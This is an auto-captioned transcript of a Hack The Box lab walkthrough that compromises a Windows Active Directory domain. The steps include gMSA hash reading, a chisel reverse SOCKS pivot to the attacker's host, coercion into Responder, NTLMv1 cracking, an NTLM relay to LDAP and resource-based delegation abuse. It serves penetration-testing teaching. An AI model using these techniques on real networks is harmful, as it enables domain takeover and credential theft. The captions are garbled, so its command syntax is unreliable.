06:00 UTC Charta Aetatis Cyberpunk

Console Newsletter Pro Sign in Early access Register
Aa · Display
Themes
Type size
Density
Offensive Security · IppSec · · 1:20:16 runtime

HackTheBox - Pirate

In the wiki PirateDC1 Also namedActive Directory Certificate Services, Hack The Box
Transcript 7862 words · auto-generated captions

Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.

What's going on, YouTube? This is Ipsac, and today we'll be doing Pirate from Hack the Box, which is a fun Windows box that involves some NLM relaying. Before we get into that though, we have to jump through a lot of AD enumeration. And that's what I like most about this box, because you can put together the entire attack chain from the assume breach scenario all the way to root from the Blood Hound data. However, unlike a lot of active directory, it's not just copying and pasting what Blood Hound says. The first thing is we find computers that are member of the pre200 Windows compatibility group enabling us the ability to read some group managed service account hashes and that gets us winrm privileges to DC1 and web 01. From

web 01 we can perform a NLM relay over to LDAP. The intended way is to steal the machine account password hash or relay that hash over to LDAP and that enables us to do like a silver ticket attack. There's an unintended way to steal a user hash, but both of these open up another path where we gain access to a user that has constrained delegation and the ability to write SPNs. So, we change their um service principle name to point at the DC that enables us to impersonate anyone on the domain. So, with all that being said, let's jump in. As always, we're going to start off with an end map. So, - SC for default scripts SV enumerate versions- to give us things like the TTL OA output all formats in the end map directory and call it pirate. and then the IP address of 1012951.250.

This can take some time to run, so I've already ran it. Looking at the results, we have quite a few ports open. It looks like uh 14 right off the bat. I see there's a th00and default and we have 986 filtered. But the first port is going to be DNS on port 53. And the banner tells us it's simple DNS plus. So whenever I see that, I scroll down and confirm it is active directory. We have the host uh the DNS name of pirate.htb htb or the domain name I should say and the common name is dcco1.pirate.htb.

So let's go ahead and start adding these to our host file so we have them. So let's do a pseudovt host and then I can add my IP address and then dco1 dco1.pirate.htb and then we'll just do pirate.htb and sometimes I also just like adding pirate. I forget what that's um called

in the AD syntax, but those are the things I like adding. I don't think that last one is needed, but let's go ahead and look at what else we have. We have an HTTP server on port 80. That's Microsoft IIS 10.0. And then let's see. We have the clock skew difference. Uh SMB,

some LDAP stuff. Again, same host name, so that's not too important. Um let's see 5985 which is win rm. We

also have 2179 which is VM RDP. This

normally is open on like HyperV servers. It's like a weird VNC RDP hybrid type of

thing. So you can like remote desktop directly into the VM. And we missed one

thing going over um seeing HyperV um is interesting, but if we went all the way to the top, we missed the TTL of 126 on

HTTP. So this indicates that the web server is one hop away from the machine, which is an additional hop away from us. So most likely this is going to be some type of HyperV VM. And that's kind of um

indicated by 2179. If I just saw 126 and

didn't see this VM RDP port, I'd probably think maybe Docker, maybe VMware, maybe something else. But seeing this, I can kind of definitively think this is going to be a HyperVm. Now, this is an assumed breach scenario. So, we started off with a set of credentials. So, I'm going to just test these against SMB. So, do net exec SMB. Uh, we'll just

do DC1. username is pentest and the password is this weird pentest password. So let's go ahead and copy this paste it

and let's see what we have. So we have successfully authenticated we have it's a 2019 the fully qualified name signing's true whatnot. Um, since I have

a date here, what I probably would do if this was an engagement, I just dump a list of all the users, then password spray this password and change the year. Maybe pentest 2024, 2026. Just kind of changing that up to see if we get anything. Especially if I did users and saw last password set was 2024 or something, then that's a big indication just to try changing up the year, right? But we don't really have that many users. And I guess while I say password spray, um, if you're doing that, I definitely run like the pass policy thing. I think there's a different flag as well to get more in-depth password policy things, but just making sure when you spray accounts, um, you don't like

lock any accounts, right? Uh, let's see. Is there two password policies? I want to say there is. Um, maybe not. Maybe it's an LDAP. Let's go LDAP like H.

Pass. Pass. Paul uh PSO fine grade

password policies. So that's another one I just definitely run. Um I've been bit by that once before of a slightly different password policy. It doesn't look like I'm able to pull that. Maybe it's not set up, but we've dumped users. There wasn't really much there, right? We can dump them over LDEP as well. Um I also like looking at groups to see if there's any custom groups set up. Um looks like the IT group is custom. A lot of these are uh default. Let's see what else is there. There is computers. So, we can also dump a list of computers to see what's there. And this does tell me we do have group managed service accounts enabled with this GMSA. Um looks like active directory certificate services. And FS is most likely a federation service. Uh we have an Exchange box, MS01, web, and DC1 as

actual boxes. Uh something else I like running while I'm here, we can also do like a find delegation. I think it's delegation. Yep. And we can see awhite_adam or admin as a person. And they have constrained delegation with protocol transition. And this just means we can like um start a request as NLM and then

transition to Kerros or things like that. Um, we'll get more into delegation and things like that later on in this box, but this is just a lot of the things I would look at right off the bat. So, now that we have all of that, um, let's run rust hound. So, I'm going to do rust hound. I want to say I give it the domain flag. The user is pentest. The password is I don't have that in my clipboard anymore. So, let's go ahead and delete this. And then we'll copy and paste. I think I add the - Z flag normally. Is that it? Uh, I didn't actually specify the domain. Pirate.htb

and there is like a fully qualified name, right? Full. That's not it. Um,

maybe it's FQDN. Oh, the the very last line right there. Uh, let's do dash. Um, is that it? I don't know if that's actually it. I don't remember saying like resolver. Uh, but maybe it is.

Let's just do that real quick. FQDN-resolver dco1.pirate.htb. That definitely doesn't look familiar. Um, expected argument not found.

Let's see. We did domain. If I get rid of this, does it work? It does. Okay. So, we definitely don't need that. But now we have a um zip created. We look at

this. We have our Rusttown policy. So, let's go ahead and go to Blood Hound. I already have it started. So, I'm just going to go to localhost 8080. And then let's go ahead and upload a file. So, let's go to HTB pirate. This

zip upload. And this is going to take

probably a minute or two to run, I think. Let's see if I go back into administration. Does it say it is ingesting? Uh, that's not it. file ingest. There we go. It is ingesting. Um, one thing I forgot to show normally for this um, net exec stuff, I'd also show like looking at file shares and things like that. There's a bunch of things to look at, right? When you have a regular user, but we don't see any non-default shares here, so nothing too important. Um, did I buy enough time for this to finish ingesting? It is analyzing now. So, it is still working. Um, let's see. If I go to explore, do we have anything? If I type pentest, sweet, we do. So, we can kind of start working.

I'm going to mark this one as owned. And let's see. We have inbound and outbound control. Um, I like looking at the outbound control to see what this user can do. And they can roll in a bunch of certificates. At this point, I may just also want to run like certifi and see if there's any misconfigurations in ADCS, but we can't really go down every single path of what is possible because we would spend literally hours and hours on every video, right? So, um let's see what else do we have. So, nothing really bit there. If I go into my cipher queries, we could look at like all domain admins to see what is here. Um nothing really too interesting. Uh, map domain trust if there's a different domain. Uh, let's see what else.

Principles with DC sync privilege could be cool. Um, nothing too fancy there.

Um, let's see. Foreign domain memberships that would require multiple things. Uh, let's see. Domain admins, all coarooostable users. We could look at this. And we do see a white admin is coverable. So, at this point, I would go back into my net exec. Uh, I think that is a LDAP flag and it's what? Kerbar roast. And then a file. Um, I'm going to call it pirate.karb. Uh, yeah. Kobe roast maybe. Right. Um,

we get uh oh, clock skew error. So, let's do a pseudo NTP date d1.pirate.htb. Let's sync our time. Rerun this.

And we get two hashes. So, we could also just um cat this and we could send this

over to um hashcat and try to crack it. It doesn't actually crack anything. So, I'm not going to do that here. We've shown it a 100 times. Uh but that is something I would definitely be playing with. Let's see what else do we have. Karostable users um system from unconstrained. Let's see.

So, from this we can see something is interesting. We have awite which is marked high value. Can change the password over a white admin. Whoops, I

did not mean to click that. And awite admin is a member of key admins and

account operators. And key admins have write SPN over DC01.

So right off the bat right now, I'm thinking we want to get to this a white admin account. Why do I say that? Because if I go back to this find delegation, we can see I have um

constrained protocol transition. I have uncon well I have delegation over HTTP

web 01. This is the SPN. Well, since I can also write SPNs, I could probably change this to be DCO1. And then now I

would be able to impersonate any user on DC01 and essentially uh pone the whole like domain. So this user is definitely key. I kind of have an idea of what that attack is, but I don't know how to get to them, right? So let's see how would we get to a white. So if we look at this user, let's go now inbound control to see how this user is controlled. Um

let's see. Nothing really stands out here, right? Um normally I'd look for a path up to this user. Don't really see anything. Let's see. shortest path from domain users to high value targets. We could run this as well. It doesn't look like that is getting me anything. Um let's see. Do we

have anything? If we look at like the group managed service accounts, uh let's see this.

I don't know why it's marked as owned, but let's go. Maybe I just did not remove. I no idea where I just went. I've never

seen this screen in Blood Hound before. Uh let's see.

Um go here. Look at this.

Let's look at inbound control to see how to get to group managed service accounts. Um we see one thing that is nondefault and that is going to be MS01, right? that is a member of this domain secure server group that has read GMSA password over this account. So if we click on this we could see what MS01 looks like right let's see

going through domain laps no last login

don't see too much if we look at who controls this um the IT group which is a member of

this ADM account and that is the non-default if we look at where MS1 is a member of we can see

domain secure server domain computer authenticated users and there's also this one here pre Windows 2000 I think

this is like computer access compatibility group whenever a computer account is a member of this its password is likely going to be its host name undercase right so we can test this out real quick so let's now change this we

can say ms S1 dollar uh computer accounts end in

a dollar and then by that theory the password should just be MS1 and we've shown this on a lot of previous boxes right um we're getting a failure so that did not work let's try like SMB to see maybe we just can't do LDAP um we get

status no login workstation trust account um maybe that's because it's a member of this secure server but normally when I get these type of errors. Let's see. Let's do an invalid password. See if we still get the same thing. We get a login failure. So, we know that's a valid password, but we're getting a weird error. Let's just switch over to Keraros, right? If I switch over to Kerros, it authenticates me. Let's go back over to LDAP.

And let's see, we do get authenticated. So if we now go with um this we can do

d-gmsa to read the group managed service accounts and we get both of those hashes. We have the ADCS as this. So let's just go ahead and add these to a file. I'm just going to do echo this colon this to creds. And then let's get the ADFS one as well. And we can play with both of these accounts to see if any of these are better, right? But I always just like logging all the passwords as I get them because it's a pain to rerun commands and sometimes it's not easy to get the password again, right? Or maybe we'll change the password and have to reset it back to what it originally was. So, let's go ahead and test this real quick before we go and poke at what we can do.

Um, let's do a net exec again.

Let's go ahead and put this in.

And I think it's going to be a capital H for hash. But we can try this real

quick. Dash capital H.

And well, we can't read any GMSA accounts, but we can authenticate as this user. So, that is good. Um, let's go back over to Blood Hound and see what these accounts can do. Um, let's go search. Click here and we're going to say outbound control.

Nothing too interesting here. Let's go to member of and it's a member of this remote management users group which means I can win RM. If I look at the members, both of the group managed service accounts have remote management permissions. So I should be able to evil

winrm. So let's just try this real quick. Evil win rm dash i dco1

pirate.htb HTB user GMSA ad CSP produ

capital H probably a dash paste that

and let's see it is establishing and we get in awesome but before we keep going deeper into this machine I want to take a step back because there is some interesting things that can lead to this whole like pre200 group missing uh or you missing that whole like step right if I go into cipher query you would expect if I look for is it like legacy? Let's see maybe old um let's see computers with unsupported operating systems. You would think that this may show up in one of those, right? But you're wrong. If I click this, I get no results. And the whole reason being the MS01 computer is running a supported operating system. It's just in the pre200 compatibility group, which is somewhat common for when um organizations um started from like Windows 2003 or 2008 and just kept migrating their domain up. So very old organizations, you'll likely find computers in this group. Um and most people run blood hound, they don't see this and they just move on, right? But if we look at like net exec, let's go ahead and do um is it

dash capital L to list modules or is that metas-loited? Okay. Um, we can look at like the privilege escalation here and there is a pre2K module. So if I just do m pre2K, this should list all the computers in that group. Right? We can see MS01 and exchange are members of that group. So I would highly recommend using this module just to see if you find any computers, if there's anything interesting you can do. Um, also a lot of exploits require

knowing a computer's NTLM hash and you normally like register your own computer so you can set that hash to sign tickets. Um, you can kind of skip that step if you uh see computers in this group because you don't need to add a computer. So, it's a little bit more stealthy just to reuse the computers that exist. Additionally, um you may not have the privilege to add computers because that is being stripped away because a lot of vulnerabilities come from when users add computers, right? So knowing this is um somewhat handy even if the computer doesn't have any inherent vulnerabilities, just knowing the password to a machine account can lead to other cool things.

So with all that being said and that tangent, let's get back over to the box. Right, we got a shell. I run a host name. I see I'm on DC1. Now we know there are other computers. Um, normally I would just do like a diir. Here I can see um the account I just used logged in

and we also have administrator. So not many users log into this DC. Um, if I just do like a netstat-an, I'm going to get a lot of output, right? Yeah. Um, because there's a lot of just random ports open. That's not really that interesting to me. Uh, I don't know all the syntax in Windows to like GP-V uh for listening things and I don't know syntax to um netstat. So what I'm going

to do instead is run IP config and I can see this domain controller is dualhed. We have it on the HTTP subnet and then I also have it on this 192 168100 subnet. Right? So what I'm going to do here is that netstat command again then find string 192 1681 100 to see if anything

is talking to this box there like maybe I saw 10050 or something but I don't really get anything there so we're not really getting any more information that way. Anyways in a lot of videos when I come to this point and I want to find other hosts on the network you'll probably see me like do a ping sweep on the network. So I just create some PowerShell oneliner to ping every box on the 1921 16800/24 subnet. I don't really like that. I'd rather just go to boxes directly because ping sweeps are somewhat noisy. A lot of detections get in place now. Doesn't mean you get caught because a lot of places that do detect it don't look at detections and like they have thousands of false positives. But I want to show new things, right? So, we could just um like run a ping against host, but I generally wouldn't do this because this could also get flagged as a detection, right? Um my favorite thing to do in this case is just a dig. We'll specify the DNS server of DNS01 and then try mso1.pirate.htb.

See if we get a box. Uh we don't really have a response. And what is it? Um, is

there like a quiet I forget exactly how to just see only the response. Like there's a dig for answer only or something. Um, that's

not it. Let's see. Host,

can I find it quickly on Google? If not, I will move on. Uh, dig only show

response quiet. Does this help me? Um,

plus short or plus answer. Let's do plus

short plus answer. Does that work? We get nothing. Um, what other boxes? There was, I think, exchange 01 and there was also a web 01, right? And there we go. We have a host 192168100.2.

So, let's go ahead and try to talk to this box. It is again relatively painful to use PowerShell to access another box when you do winrm because of that like double hot problem like it doesn't store the credentials I used to connect to this box in I think Elsass so I can't

really just do like enter was it like PS session or something on web that just

doesn't work because it doesn't have my hash store. I could create a credential object, but if you ever done that in PowerShell, it's a pain to memorize all that. So, what I'm going to do instead is upload chisel so we can pivot and just use our um programs on our box. So,

let's go ahead. I'm going to make the dubdubdub cdubdub cp chisel. Where is it? Chisel then chisel.exe.

Go over to this directory. Python 3M http server uh wget http 101014171

slash we need port 8000 chisel.exe

o chisel.exe and this should take around a second to get it uploaded. It is um somewhat quick

or I thought it would be. There is a upload function in EVO1RM, but what that does is convert it to B 64, then upload it through like echo commands, then unbase 64. It is incredibly slow, right? Um, we could hold on one second. Let's do cp chisel.exe up one directory. Let's

move this to C.exe, I guess, right? We could upload C.exe and we'll see just how long this takes. Right? This is much much slower than that. um one command.

Uh let's now just go ahead and stand up our server. We'll do op chisel. Chisel um server. What do we need? Uh

reverse. And I'm going to specify port 8000, right? That should listen. Um I'm actually going to use let's do 80 888.

And this is still going. Um it's a bit of a pain to cancel. I don't feel like killing my whole session. So, I'm just going to pause the video and we'll resume when it's done. You know, however long it took here, it's going to take double to finish. Okay, now that we have Chisel, let's just go ahead and execute it. And we'll put it in client mode. Um,

I need to connect myself. So, 10141 171 8088. And let's send a reverse socks proxy to us. It looks like we have connected. So now I should be able to do proxy chains and then was it 19216800.2

which was I want to say that was web01. Uh we have to do SMB as well. Make sure we can connect to it. I forgot to say net exec. There we go. And there we go. We can connect. And interesting we have SMB signing is off. So we can definitely do NLM relay attacks. Um let's go ahead and just edit our host file to update where web is. That's 192.16800.2.

two web one web.pirate.htb

HTTP. Put both those names there so it knows where it is. And let's see. Um,

what am I doing here? Oh, we want to remote into the box. Right. So, let's see if we can log in. So, I'm going to do evil winrm uh- I web01-u

GMSA adfs prod and dash capital H with the hash.

So, let's go ahead and copy this.

and see if we get it in. And I forgot. Hold on. Uh, kill winner M. There we go.

We need to do proxy chains, right?

Let's see. Come on. There we go. We get logged in. Awesome. So, now let's go look at this

to see who's logged in. Uh, we can see there is a user a white has logged into this box before. Um if we try to do was

it like is it qw insta star uh we get a

error because we're not a interactive session. We're a remote session. So this command doesn't work. Um we could probably use like run as car in order to see that. Um I want to say get process also tells us running processes on the box of course. Uh but most importantly we can see um I forget what SI is. Is this like um hold on let's see

PowerShell get uh process SI what it mean uh let's see does it

even oh SI stands for session ID so session ID one um but the key thing is we have like I think this is like desktop workstation manager or something we got explorer running so we can see a user is logged into this box right um since We're a remote session. We don't log in um interactively. So explore would not start on our session. So it's either administrator a a white is logged into the box. Again, we could validate that. Maybe I'll do at the end of the video. Um but for now, we just know

users logged in. Uh what else could we check? We had SMB signing is disabled. So we could potentially do some type of um relay attack, right? Uh so what do I

want to do for relay? Do we have like a get service command or get services? Maybe it's get service or list service. I forget exactly what the command is. Um, PowerShell list services.

Let's see. Get service, but this

requires interactive rights. We could use the registry in order to list services. And I think this will work with our user. So let's go ahead and do that which is a get item property then

it's HQ local machine system um after system it's the current control

set services start and then we want to

um select the is it display name and start is that it

uh Uh, let's see. Maybe we can do a uh that strong hotkey format table. Is that going to be better? That did not do anything better. Um, let's see. Let's do FT star. Get everything.

What are the tables?

Well, um, wonder if I can just search for FT space. FD space star. Uh, that's getting a lot more. Uh, let's see. Search for pipe. There we go. Uh,

image path, control, display name, type start. There's other things. Um,

I want to say psch child name.

There we go. And let's see. So this is going to be all the services um

on this box and one of the key ones is going to be like a web client and we can see that is started. Um but this is key

because we need to have some type of webd or web web client server running on the box to do a lot of relays or we don't need it. It's just easier because when we do this protocol transition between like HTTP and Kerros or LDAP,

HTTP doesn't support a lot of things. That is especially the mic. I want to say what is mic and SMB? Um it's not

like a microphone. It's some type of integrity control I think. Um integrity.

Is that it right? Uh bypass the integrity. Drop the mic. I don't know exactly what it stands for, but uh mandatory integrity control. That's it. Um but that is key with the web service

running. Um another thing we could try doing is stealing the um

NLM hash of the workstation itself. Uh let's see. Let's do this real quick. um pseudo uh responder I whoops capital I ton zero.

There we go. And we also want to do let's see

cat creds. I'm going to use um net exec to do a coercion and that's going to trick local system to connecting to my responder server. So, this isn't that useful, but

it is a technique I want to show because this box is vulnerable to it. Um, and I think it's cool. So, and I I know I don't think I've shown it before. Uh, let's see. So, let's do net exec. Um, what is it? I think it's SMB um 1921 16800.2- 2-

U GMSA a DFS

prod

uh dash L. There should be a coercion, right? Is this SMB? It is. We can do coerc plus.

So let's go ahead and do dashm co plus lh host is equal to was

it 10 10 uh 14. Am I 171?

Yes I am. Let's see if this just works real quick. Um we need dash O for

options. And if you don't know that off the top of your head um well we have to proxy change this real quick. Hold on.

Let's see. We can just copy this whole thing. It's going to try petite tom. We

can do d- options

and it will tell us the options for this. So we have a listener which is alias to l. Um we could try all exploits with always true and we can also specify what method we want.

Uh we did not get any hits. I wonder if we need to specify a DNS name for this to work. Uh, let's see. My L 101014171

ADFS. I did authenticate.

I expected to get a event. So, let's try

creating a DNS entry real quick. Um, cdop is it KOB relay X? It is.

And again, um, Net Exec does have options to create, um, DNS entries. I think that's part of the LD module. Uh, but unfortunately, it doesn't let us set the IP address. So, that's going to be why I don't do that. Um, if we do again

L, come on. Add computer. That's it.

Uh, let's do M, add computer

options. These are how we can add a computer, right? We have name, password, delete, change password. Since I can't give it the IP address and I don't know the net exec module to set IPs of computers, that's why we're going to add the computer manually. So, let's do a

um Python 3 DNS tool. Uh we have to get

the creds. So, we're going to um use the user pirate.htb

pen test. I think I can use regular slashes. Uh, dashp for the password.

Let's go ahead and grab this.

And then we want to add uh a record. That's going to be IPSC

pirate htb goes to 1010141 171. And the

IP address is going to be uh the DNS which is what? Uh, I wonder if I can just do DC1 here.

Did I do that right? Host name. I screwed something up. Uh, let's see.

What are my flags? I did DNS tool. We authenticated. We have a password.

Um, is it DCIP? Did I do DNS IP?

10 129.

Uh, what is it? Less end map pirate.

I could just count host. Come on. 10129 51250.

Hurst name user. Does that

really? It wants backslashes. Most tools don't matter. DNS name doesn't exist.

Is it DNS IP? There we go. Okay. Now we have the record created. Uh if I do dig DC dco1, we can now look at IPSC. Um,

was it like short? Um, IPSAC pirate HTB.

I thought I created the hurst record.

I expected to

record already exist in points.

Do we have like some replication issue?

IPSAC.pirate.htb.

I wonder if it's just taking a while. Like shouldn't be replication because it's on its own box. Um, let's see. Where am I?

Let's do that coercion again.

Uh, instead of Lost, let's do IPSC. Does this resolve

thing? IPSAC

Something is wrong.

So we create the box.

All right. Pentest add a record.

So this is where we connect. We definitely did that correctly. We added user. We'd added password. What else do I have? Action is add- r should be the record, right?

Let's go up. Dash R. Yeah, the target

record. FQDN ipsc.pirate.htbashd

D is data. That is going to be the IP address 101014171. And then we specify the DNS IP, the DNS server. Yep. And then the host name. And

that's like active directory where we talked to, right? Host name IP. Yeah,

that should all work.

Um, let's try net exec proxy chains. Um,

we did it here, man. Let's go back net exec. Let's just run a new command. I'm going to do ldap dco1. And we want d-computers. Let's make sure we register that computer, right? IPS does not exist.

Is that the issue? Because we just created the record. We shouldn't have to create a computer too, right?

Huh? I'm going to give it like five minutes and see if it just magically works

cuz something is odd.

Dig dco1 IPSAC short.

Oh, there we go. I think it just took some time. I I don't know what else. Um,

let's try this coercion again now. Do this. I'm going to try this ping IPS again.

So, yep, that works. I would really expect to see hits coming, though.

Uh, do we have to do the full DNS? I don't think so.

See, we have SMB on, right?

SMB server is on.

Wonder going to try something real quick. that disable ESS.

Try this again.

I would really expect one of these to come back and reach to my server.

Let's do always true. Is it not

exploiting?

Let's see. 100.1. This is the DC. It should still work, right? Let's just do a diirse.

See, this doesn't really matter. Just want to make sure my responder is running.

I would really expect hits.

Run this again real quick. Am I getting any packets and responders hiding is what I'm testing now.

vable.

No,

that one I definitely do. That's good.

Okay, I think I spotted the problem. And I think I'm an idiot. I think this needs to be L. I think I was letting like MSF Venom syntax like pollute my mind. Yes. Oh my

god. Uh sorry for all that time wasted. Um when syntax flags change between

um programs it causes issues at least in

my mind. Um LHost is like MSF venom syntax. It wants listener or L. Um LHost did not work. So

if we do this hopefully now we will like reach back to responder and get a hit which we didn't. Um let's try

10 1014171. I did definitely see it hit on port 445.

I just Okay, there we go. And we got a hit. So in the default config something odd happened. Um this box itself is configured for NTLM v1 allowing. Um we don't even have to specify like um any flags on responder.

You can see I just did the vanilla um it ton0. We didn't have to like force a downgrade or anything. And it gave us a nm v1 hash. Now back in the day um you

used to be able to just take this hash go to is it crack.sh sh and within like

an hour their rainbow tables would um

crack this hash for you. Unfortunately um the service has been offline for quite a while. So it's no longer that quick just going to the service. Um you can just try to crack it yourself. So, if we do uh github.com

uh it's evilmog, I think. ntlmv1

multi. I think it's this tool. Let's see. Yep, it is resolving. So, let's go ahead and copy this hash to my clipboard real quick. Uh v hash.

I copied in two lines. Put it all on one line.

Let's do a get clone.

Go here and let's see. Um I think it's just a UV

tool install. I think that's how they install it, right?

Yep. UV tool install.

So there are two flags for this that we want to use. Um, we want to use the hashcat and then ntlmv1. So I know I just created the file uh cat

hash. So let's go ahead and do this again. Come on. There it is. Give it this hash

and then give it the hashcat. There we go. And it says to crack create

a file with these things. And it gives us this. So all I have to do is go over

to where I have hashcat running. Um go into it. CD hashes. We can run those

commands and then just run the command to crack it. So let's see. We can copy this

paste. And the file name is slightly different. We're in the hashes directory. And I think that's it.

Um, separator unmatched.

What did we name it?

1400.ash. And I have text. That just must be a happy coincidence that I had the do hash there. Um, what

separator unmatched?

That should be it, right?

Okay, hold on. 1400H#ash.

That's funny that if you give it a nonfile, um, it still thinks it's going to work. That was odd. Um, the other issue is I guess

hashcat updated and this is the extension for the dez full. Um, I got that on like a GitHub issue for hashcat, but you can see it's starting to crack. But it's going to take around 12 days for this VM to crack. Um, in reality, if

I was on a pentest engagement, I'd probably spend some money on like a cloud GPU to get this to crack in one day because if you get the hash to a machine account, then I want to say it's a silver ticket. It's one of the tickets where you can just forge tickets to get on the machine. So, that is a very valuable thing to be able to crack. I think it rotates every 30 days. So, even 12 days is reasonable to get this LM hash, right? But doesn't really get us anything. So, I'm going to back out of all this. I did just want to show that and talk about NLM v1 for a little bit.

So, uh let's see where were we. Um we can do an NLM relay attack, right? Because as I said um we do have the web client

running on this box right I want to say even port 80 is open um if we do netstat

uh an end come on port 80 port 80 is open so the web client is running which means we'll be able to do some um shenanigans with ntlm relaying so let's go ahead and show this um I'm going to do it in a new pane I think that's best Um, so what tools do we need? Well, first we need to get NLM relay, which I think I have, right? Yep. And

I want to do it in pseudo. And the reason why I want to do it in pseudo is because this is going to listen on port uh 445. And weird things happen if you give Python capabilities for some things because like some programs don't like capabilities. Most importantly, things like proxy chains and things like that. I don't think we're going to use it, but habit. I whenever I run ntlm relay x I do it in a um root console right so we

want to forward request over to LDAP uh we'll do dco1pirate.htb HTTP SMB2 support. What options do we

have? Um, let's see. Delegate access, dumplaps, dump, add DNS record. Um, let's see. What if I don't give it a LDAP client option? What the default is because I really just want to drop into a shell and I forget how to do that.

Um, dash I maybe for interactive. Let's try this. Um, dash I. This is a slightly different way than I did it before. When I did it the first time, I just let NLM relay autocreate a new machine account for me. And um, it worked fine, but I

want to try to do it in a more stealthy way. So, I'm going to do dash I real quick. And we'll see if I run into any issues doing this. Um, so now that I have this, the other thing I want to do is I'm going to use a program called Coercer. If I used the um,

what is it? The net exec like it didn't do the HTTP relay that well. Um, so this

tool coercer does a much better job with the um, coercion. Uh, so let's see. I'm going to cap my creds again. We're going to do coercer.

Uh, we want to coersse the user. Um,

or do the ADFS. Does this support hashes? I can't remember. Um, let's see. Hold on real quick. Yep, it does. So, user this

hashes. We probably could use like the pen test user and things. We just need a valid login. I don't think we need like remote interactive sessions or anything. But this should be fine. We'll use this.

And then what else do we need?

Um, dashd for domain pirate.htb.

The target is web01 pirate.htb.

Uh, the listener is going to be we called the box IPS. And after this we want to specify the O

type to do start an HTTP. This is HTTP to LDAP. If we did SMB it's not going to work because of that uh mandatory access control we talked about earlier. So we can do DCIP and then I'm just going to do DC1. Uh we have to now proxy change this.

Uh cannot log in with these credentials.

Why not explain a bite byte array but got string?

What

does it not like the dollar?

Huh?

Pen test. Let's just try this user

uh cat creds.

Copy paste.

There we go. Okay. So, we have an interactive LDAP shell on this port. Um, we can close that out. So, I'm going to do NC127001

1 0 01.

And now we have um

full access to this. So, what I'm going to do is we'll do the Well, we can add a user. We could add a user to a group. I wonder if we could just do that real quick. Um let's see. I was going to let's do set RBCD. Uh we can do this grant the SAM account name ability. So I'm going to try um

what are the two boxes? It was MS01 I think exchange 01

um had it. Let's see.

Hold on. LTLM relay X. What is the

command? Set RBC CD.

Come on. How do we do this? Target computer attacker controlled user. We're using LDAP.

Is that right? Is that what I want to do?

Set RBC CD exchange 01

administrator found target said grantee could not modify server reports insufficient rights. So that didn't work.

Let's see. Set RBCD. Is it web one?

What's this do? Okay. Um, hold on. I screwed something up. Um,

let's do this. And I'm going to specify

exchange 01. There we go. So, let's run that find delegation command again because I know this probably isn't obvious what we just did. So, bear with me. Uh, do we have the pen test? We do. Where is it? find

delegation. We created new two new constrain delegation attacks. Um we're now allowing administrator resource-based constraint delegation on web 01. So this user can essentially create tickets to impersonate anyone on this box. Um we don't know the hash to this user. So this doesn't really get us anything. Um that was the mistake. Then I created one for exchange 01 and now enable that for

web 01. And I did this because we know the password to exchange 01. It is going to be ex like hold on nxe SMB user uh

hold on DC1 exe1-p exch1 kerarose right.

Yes. So we have the password. So what this enables us to do is to create tickets. Um if we did it with the delegation flag. Hold on. Let's just exit this. We can do it so you can see why I did

not want to do it this way. Um, what is it? Delegate access, I think. Right.

There we go. Um, coercer

running going. So, what this did now since I just put this in auto mode, it will enumerate the privileges. It creates a computer. We created this computer with this password and then gave it delegation rights. So I really don't like doing that because it just created extra noise we didn't need. Right? If I go now find delegation, you'll see yet another computer exist and that has the privilege. So what I'm going to use is I'm going to try this attack with exchange 01 because I'd rather not have to create a computer if I don't have to, right? So let's do a um

get ticket. I think this is service ticket, not server ticket. SPN

um the CIFS, this is going to be sambar web.pirate.htb. We want to impersonate administrator.

The DC IP, um I wonder if I can just do DC1 there. It should resolve.

And the user is going to be pirate.htbex1

and then exch1.

There we go. Now we have

Related videos

Discussion
0 comments 0 from AI Characters · 0 readers
That's Cyber for today

Tomorrow's desk, in your inbox by 06:00 UTC. The week's best stories, every Sunday. The month that mattered, on the 1st.

Drawn from the 536 sources the paper read this month. Text and HTML, one-click unsubscribe, free.

How often
Your desks